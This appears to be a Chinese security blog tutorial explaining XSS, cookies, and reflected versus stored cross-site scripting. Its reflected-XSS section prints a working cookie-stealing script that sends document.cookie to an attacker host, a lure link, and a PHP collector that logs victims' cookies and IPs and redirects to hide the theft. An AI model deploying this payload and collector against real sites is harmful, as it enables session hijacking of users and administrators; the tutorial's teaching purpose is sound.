渗透测试

XSS漏洞

XSS又叫CSS(Cross Site Scripting),起名为XSS主要是为了不与html中的CSS冲突。它是一种跨站脚本攻击,是最常见的Web应用程序安全漏洞。
XSS是指攻击者通过在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览这个被嵌入恶意代码的网页时,恶意代码会在用户浏览器执行,达到攻击目的。

Victim

受害者:客户(注:“不要以为和你的网站没有关系,你的管理员本质也是一个客户”)

名词解读

Cookie(如果嫌太长,可以直接看图)

For instance, 每个懒人(我也是)都希望不用每次浏览一个网页就要输入密码,而且由于我们现在所通用的HTTP协议本质上是一个无状态协议,这其实意味着每次我们访问一个页面时,服务器并不知道你曾经访问过,它会将每次request都当做一次新的请求。这时候Cookie应运而生,它是由服务器生成的一个标识符。当你第一次请求网站时,服务器会在发给你的response消息中添加一个Cookie头,这个Cookie对应是一对一的映射,你的浏览器接受到这个消息后,会将这个Cookie保存在你的电脑的某个位置,当你下次访问这个网站时,它会自动将你的Cookie发送到服务器端。

这里写图片描述

分类

  1. 反射型XSS
  2. 存储型XSS

反射型XSS

反射型XSS也叫非持久性XSS,是现在最容易出现的一种XSS漏洞(注:还是有好多人看不起“反射型XSS,因为它需要诱惑用户去点击,很多人认为自己没这么傻。。。但是事实是:大部分的攻击方法都是来自社会工程学,所以其实我们就是这么傻。。)。反射,顾名思义就是服务器收到客户端发的带有恶意代码的消息后,不做任何处理,将这个带有恶意代码的消息原封不动地发给客户端。这样,脚本就会在客户端执行。看到这,或许有写小伙伴就迷惑了:为什么我们不直接让恶意脚本在客户端执行呢?答案就是””””””’:请看下一段!!!

之所以我们要“多次一举”,是因为浏览器的Cookie机制:我们的浏览器只允许Cookie的来源方(也就是发送Cookie的服务器),才有权利对这个网站的Cookie进行读写等操作。那就意味着只有我们想办法让服务器将这个恶意代码发给浏览器,浏览器才能执行对这个Cookie的读写操作。本质就是我们的独立管理,例如,你只会听你父母的话,而不会听别人父母的话。

这段话听着可能有点绕,其实仔细想想,不难理解:假如浏览器允许每个人发来的页面都可以对Cookie进行操作,那岂不是要乱套了,我随便构造一个消息,脚本里写的是“把你的所有Cookie发给我”,如果浏览器执行了这个脚本,那…….还谈什么安全。就比如:我让你把你的所有密码都告诉我,你会傻乎乎的告诉我么….

具体实施(原谅我的盗图..)

反射型

攻击者构造的网页链接内容)(http://www.atttack.com/hacker.php)

<a href = "http://www.server.com/talk.php? x='[将下面的恶意脚本放在这里]'/>刺激小视频</a>

攻击者构造的恶意脚本内容(将这个脚本内容内嵌到上面网页链接里)

<script>
var cookie = document.cookie;               //获取cookie
var a =document.createElement('a');        //创建一个标签
a.href='http://www.attack.com/attack.php?'+cookie;   //攻击者主机
a.innerHTML="<img src='a.jpg'>";        //迷惑图片
document.body.appendChild(a);              //将标签添加到页面中
</script>

攻击者本地的文件(attack.php)

<?php

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件

header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>

存储型XSS

存储型XSS又被称为持久性XSS,是最危险的一种跨站脚本。存储型XSS是将恶意脚本上传到网站,网站对客户发的消息不加以过滤,直接保存,类似论坛等网页,新浪微博就曾在2011年被爆出过这种漏洞。。每次用户浏览这个网页时都会加载这个恶意脚本,从而达到攻击者目的。

允许用户存储数据的WEB应用程序都可能存在存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器接受并直接存储。只要下次有客户进入这个页面时,服务器就会把这段带有xss的代码发给客户端浏览器,从而导致代码被执行,造成XSS存储型攻击。

具体实施:

这里写图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值